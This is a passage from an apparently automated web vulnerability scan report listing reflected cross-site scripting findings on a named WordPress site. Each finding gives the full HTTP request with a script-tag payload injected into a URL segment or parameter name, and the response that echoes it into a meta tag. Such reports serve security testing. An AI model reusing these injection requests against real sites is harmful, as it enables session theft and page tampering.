HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:20:32 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05; path=/
Last-Modified: Wed, 09 Feb 2011 13:20:32 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18852

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wiki88b4a\"><script>alert(1)</script>d4f14d53e5d/Main/ImageSnap"/>
...[SNIP]...

1.243. http://www.vogel-nest.de/wiki/Main/ImageSnap [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wiki/Main/ImageSnap

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a8b5"><script>alert(1)</script>3b93154f082 was submitted in the REST URL parameter 2. This input was echoed as 9a8b5\"><script>alert(1)</script>3b93154f082 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wiki/Main9a8b5"><script>alert(1)</script>3b93154f082/ImageSnap HTTP/1.1
Host: www.vogel-nest.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:20:37 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: PHPSESSID=fkt9esn83g20ckg3gi95v7r847; path=/
Last-Modified: Wed, 09 Feb 2011 13:20:38 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18852

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wiki/Main9a8b5\"><script>alert(1)</script>3b93154f082/ImageSnap"/>
...[SNIP]...

1.244. http://www.vogel-nest.de/wiki/Main/ImageSnap [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wiki/Main/ImageSnap

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b413f"><script>alert(1)</script>50a84a19efc was submitted in the REST URL parameter 3. This input was echoed as b413f\"><script>alert(1)</script>50a84a19efc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wiki/Main/ImageSnapb413f"><script>alert(1)</script>50a84a19efc HTTP/1.1
Host: www.vogel-nest.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:20:42 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: PHPSESSID=uj3o08644lkc908n7eh0ujruf6; path=/
Last-Modified: Wed, 09 Feb 2011 13:20:42 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18852

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wiki/Main/ImageSnapb413f\"><script>alert(1)</script>50a84a19efc"/>
...[SNIP]...

1.245. http://www.vogel-nest.de/wiki/Main/ImageSnap [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wiki/Main/ImageSnap

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52b92"><script>alert(1)</script>06c9c7e8396 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 52b92\"><script>alert(1)</script>06c9c7e8396 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wiki/Main/ImageSnap?52b92"><script>alert(1)</script>06c9c7e8396=1 HTTP/1.1
Host: www.vogel-nest.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:20:30 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Link: <http://wp.me/POZcu-3Y>; rel=shortlink
Set-Cookie: PHPSESSID=fp1995v2av1pjresu3qvfusdj3; path=/
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 49480

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wiki/Main/ImageSnap?52b92\"><script>alert(1)</script>06c9c7e8396=1"/>
...[SNIP]...

1.246. http://www.vogel-nest.de/wp-content/plugins/lightbox-2/lightbox.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/lightbox-2/lightbox.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a11b2"><script>alert(1)</script>a4da6ef085e was submitted in the REST URL parameter 1. This input was echoed as a11b2\"><script>alert(1)</script>a4da6ef085e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-contenta11b2"><script>alert(1)</script>a4da6ef085e/plugins/lightbox-2/lightbox.js?ver=1.8 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:21:57 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:21:58 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18912

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-contenta11b2\"><script>alert(1)</script>a4da6ef085e/plugins/lightbox-2/lightbox.js?ver=1.8"/>
...[SNIP]...

1.247. http://www.vogel-nest.de/wp-content/plugins/lightbox-2/lightbox.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/lightbox-2/lightbox.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e86f2"><script>alert(1)</script>efdc24cbe40 was submitted in the REST URL parameter 2. This input was echoed as e86f2\"><script>alert(1)</script>efdc24cbe40 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/pluginse86f2"><script>alert(1)</script>efdc24cbe40/lightbox-2/lightbox.js?ver=1.8 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:19 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:21 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18912

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/pluginse86f2\"><script>alert(1)</script>efdc24cbe40/lightbox-2/lightbox.js?ver=1.8"/>
...[SNIP]...

1.248. http://www.vogel-nest.de/wp-content/plugins/lightbox-2/lightbox.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/lightbox-2/lightbox.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89fef"><script>alert(1)</script>cc1782469a3 was submitted in the REST URL parameter 3. This input was echoed as 89fef\"><script>alert(1)</script>cc1782469a3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/lightbox-289fef"><script>alert(1)</script>cc1782469a3/lightbox.js?ver=1.8 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:42 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:43 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18912

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/lightbox-289fef\"><script>alert(1)</script>cc1782469a3/lightbox.js?ver=1.8"/>
...[SNIP]...

1.249. http://www.vogel-nest.de/wp-content/plugins/lightbox-2/lightbox.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/lightbox-2/lightbox.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 548b9"><script>alert(1)</script>694d0ecadc9 was submitted in the REST URL parameter 4. This input was echoed as 548b9\"><script>alert(1)</script>694d0ecadc9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/lightbox-2/lightbox.js548b9"><script>alert(1)</script>694d0ecadc9?ver=1.8 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:57 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:57 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18912

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/lightbox-2/lightbox.js548b9\"><script>alert(1)</script>694d0ecadc9?ver=1.8"/>
...[SNIP]...

1.250. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6614"><script>alert(1)</script>8f70211c573 was submitted in the REST URL parameter 1. This input was echoed as d6614\"><script>alert(1)</script>8f70211c573 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-contentd6614"><script>alert(1)</script>8f70211c573/plugins/shashin/display/highslide.css?ver=4.1.4 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:11 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:11 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18930

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-contentd6614\"><script>alert(1)</script>8f70211c573/plugins/shashin/display/highslide.css?ver=4.1.4"/>
...[SNIP]...

1.251. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3ff07"><script>alert(1)</script>fb5fd440a02 was submitted in the REST URL parameter 2. This input was echoed as 3ff07\"><script>alert(1)</script>fb5fd440a02 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins3ff07"><script>alert(1)</script>fb5fd440a02/shashin/display/highslide.css?ver=4.1.4 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:43 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:44 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18930

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins3ff07\"><script>alert(1)</script>fb5fd440a02/shashin/display/highslide.css?ver=4.1.4"/>
...[SNIP]...

1.252. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9db14"><script>alert(1)</script>4e41ef26866 was submitted in the REST URL parameter 3. This input was echoed as 9db14\"><script>alert(1)</script>4e41ef26866 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/shashin9db14"><script>alert(1)</script>4e41ef26866/display/highslide.css?ver=4.1.4 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:05 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:06 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18930

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/shashin9db14\"><script>alert(1)</script>4e41ef26866/display/highslide.css?ver=4.1.4"/>
...[SNIP]...

1.253. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide.css [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide.css

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83186"><script>alert(1)</script>ca03a214a5a was submitted in the REST URL parameter 4. This input was echoed as 83186\"><script>alert(1)</script>ca03a214a5a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/shashin/display83186"><script>alert(1)</script>ca03a214a5a/highslide.css?ver=4.1.4 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:28 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:28 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18930

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/shashin/display83186\"><script>alert(1)</script>ca03a214a5a/highslide.css?ver=4.1.4"/>
...[SNIP]...

1.254. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide.css [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide.css

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b78c"><script>alert(1)</script>20302a1ec26 was submitted in the REST URL parameter 5. This input was echoed as 5b78c\"><script>alert(1)</script>20302a1ec26 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/shashin/display/highslide.css5b78c"><script>alert(1)</script>20302a1ec26?ver=4.1.4 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:37 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:38 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18930

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide.css5b78c\"><script>alert(1)</script>20302a1ec26?ver=4.1.4"/>
...[SNIP]...

1.255. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide/graphics/zoomout.cur [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide/graphics/zoomout.cur

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c9e4"><script>alert(1)</script>4a272e5d035 was submitted in the REST URL parameter 1. This input was echoed as 8c9e4\"><script>alert(1)</script>4a272e5d035 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content8c9e4"><script>alert(1)</script>4a272e5d035/plugins/shashin/display/highslide/graphics/zoomout.cur HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05; __utmz=176138661.1297257723.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/6; __utma=176138661.2034632851.1297257723.1297257723.1297257723.1; __utmc=176138661; __utmb=176138661.1.10.1297257723; __qca=P0-548444246-1297257725663

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:31 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:31 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18944

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content8c9e4\"><script>alert(1)</script>4a272e5d035/plugins/shashin/display/highslide/graphics/zoomout.cur"/>
...[SNIP]...

1.256. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide/graphics/zoomout.cur [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide/graphics/zoomout.cur

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4def"><script>alert(1)</script>5481a628ff9 was submitted in the REST URL parameter 2. This input was echoed as d4def\"><script>alert(1)</script>5481a628ff9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

